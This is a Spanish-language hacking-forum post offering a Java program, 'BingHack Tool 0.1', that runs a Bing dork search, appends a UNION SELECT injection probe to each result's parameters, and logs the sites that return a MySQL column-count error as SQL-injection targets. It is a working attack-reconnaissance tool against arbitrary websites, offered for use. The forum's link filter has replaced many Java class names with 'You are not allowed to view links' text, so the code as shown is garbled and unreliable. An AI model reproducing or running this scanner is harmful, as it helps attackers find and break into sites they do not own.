send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Java] BingHack Tool 0.1

  • 0 Respuestas
  • 1184 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Enero 12, 2013, 11:43:37 pm »
Un simple programa para buscar en Bing paginas vulnerables a SQLI.

Código: Java
  1. //
  2. //BingHack Tool 0.1
  3. //Coded By Doddy H
  4. //
  5.  
  6. import java.util.Scanner;
  7. import java.io.*;
  8. import java.net.*;
  9.  
  10. import java.util.regex.Matcher;
  11. import java.util.regex.Pattern;
  12.  
  13. public class Main {
  14.  
  15.     public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login[] args) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  16.  
  17.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login code;
  18.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login tar;
  19.         int x;
  20.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login dork;
  21.         int counte;
  22.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login urlfinal;
  23.  
  24.         Pattern uno = null;
  25.         Matcher dos = null;
  26.  
  27.         Scanner host = new Scanner(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.in);
  28.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n\n-- == BingHack Tool 0.1 == --\n\n");
  29.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("[+] Dork : ");
  30.         dork = host.nextLine();
  31.  
  32.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("[+] Count : ");
  33.         counte = host.nextInt();
  34.  
  35.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n[+] Searching ...\n");
  36.  
  37.         for (x = 10; x <= counte; x = x + 10) {
  38.  
  39.             code = toma("http://www.bing.com/search?q=" + dork + "&first=" + x);
  40.  
  41.             uno = Pattern.compile("<h3><a href=\"(.*?)\"");
  42.             dos = uno.matcher(code);
  43.  
  44.             while (dos.find()) {
  45.  
  46.                 urlfinal = cortar(dos.group(1));
  47.  
  48.                 sql(urlfinal);
  49.  
  50.             }
  51.  
  52.         }
  53.  
  54.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n[+] Finished");
  55.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("\n-- == Coded By Doddy H == --");
  56.  
  57.     }
  58.  
  59.     private static void savefile(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login nombre, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login texto) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  60.  
  61.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login writer = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(nombre, true);
  62.         writer.write(texto + "\r\n");
  63.         writer.close();
  64.  
  65.     }
  66.  
  67.     private static void sql(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  68.  
  69.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login code;
  70.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login mostrar;
  71.  
  72.         Pattern uno = null;
  73.         Matcher dos = null;
  74.  
  75.         mostrar = urla + "-1+union+select+666--";
  76.  
  77.         try {
  78.             code = toma(mostrar);
  79.  
  80.             uno = Pattern.compile("The used SELECT statements have a different number of columns");
  81.             dos = uno.matcher(code);
  82.  
  83.             if (dos.find()) {
  84.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("[+] SQLI : " + urla);
  85.                 savefile("sql-logs.txt", urla);
  86.             }
  87.  
  88.         } catch (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ex) {
  89.         }
  90.  
  91.     }
  92.  
  93.     private static You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login cortar(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  94.  
  95.         Pattern uno = null;
  96.         Matcher dos = null;
  97.  
  98.         uno = Pattern.compile("(.*)=(.*)");
  99.         dos = uno.matcher(urla);
  100.  
  101.         if (dos.find()) {
  102.  
  103.             return (dos.group(1) + "=");
  104.         } else {
  105.             return "no tengo idea xDD";
  106.         }
  107.  
  108.     }
  109.  
  110.     private static You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login toma(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login urla) throws You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  111.  
  112.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login re;
  113.  
  114.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login conte = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(40);
  115.  
  116.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login url = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(urla);
  117.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hc = url.openConnection();
  118.         hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  119.  
  120.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login nave = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(
  121.                 new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(hc.getInputStream()));
  122.  
  123.         while ((re = nave.readLine()) != null) {
  124.             conte.append(re);
  125.         }
  126.  
  127.         nave.close();
  128.  
  129.         return conte.toString();
  130.  
  131.     }
  132. }
  133.  
  134. //The End ?
  135.  

 

¿Te gustó el post? COMPARTILO!



[Video Curso] Iniciacion a Java por DesarrolloWeb y EscuelaIT Mayo 2014

Iniciado por graphixx

Respuestas: 3
Vistas: 1379
Último mensaje Febrero 23, 2015, 10:13:28 am
por Hu3c0
[LIBRO] Programación avanzada en Java - Sonia Jaramillo Valbuena

Iniciado por graphixx

Respuestas: 1
Vistas: 2308
Último mensaje Noviembre 07, 2017, 12:34:40 pm
por K0m0dr3x
Java Extremo [Video Cursos Completos] [Español] [ISO] 2009

Iniciado por graphixx

Respuestas: 9
Vistas: 4135
Último mensaje Diciembre 04, 2017, 02:36:34 am
por graphixx
Como compilar programas Java en la consola de comandos de Windows

Iniciado por tar3kw0rm3d

Respuestas: 2
Vistas: 2087
Último mensaje Junio 04, 2013, 02:55:07 pm
por tar3kw0rm3d
[Java] Chat utilizando WebSockets con JavaEE y JavaFx

Iniciado por coke951

Respuestas: 3
Vistas: 2651
Último mensaje Diciembre 23, 2016, 10:23:24 pm
por coke951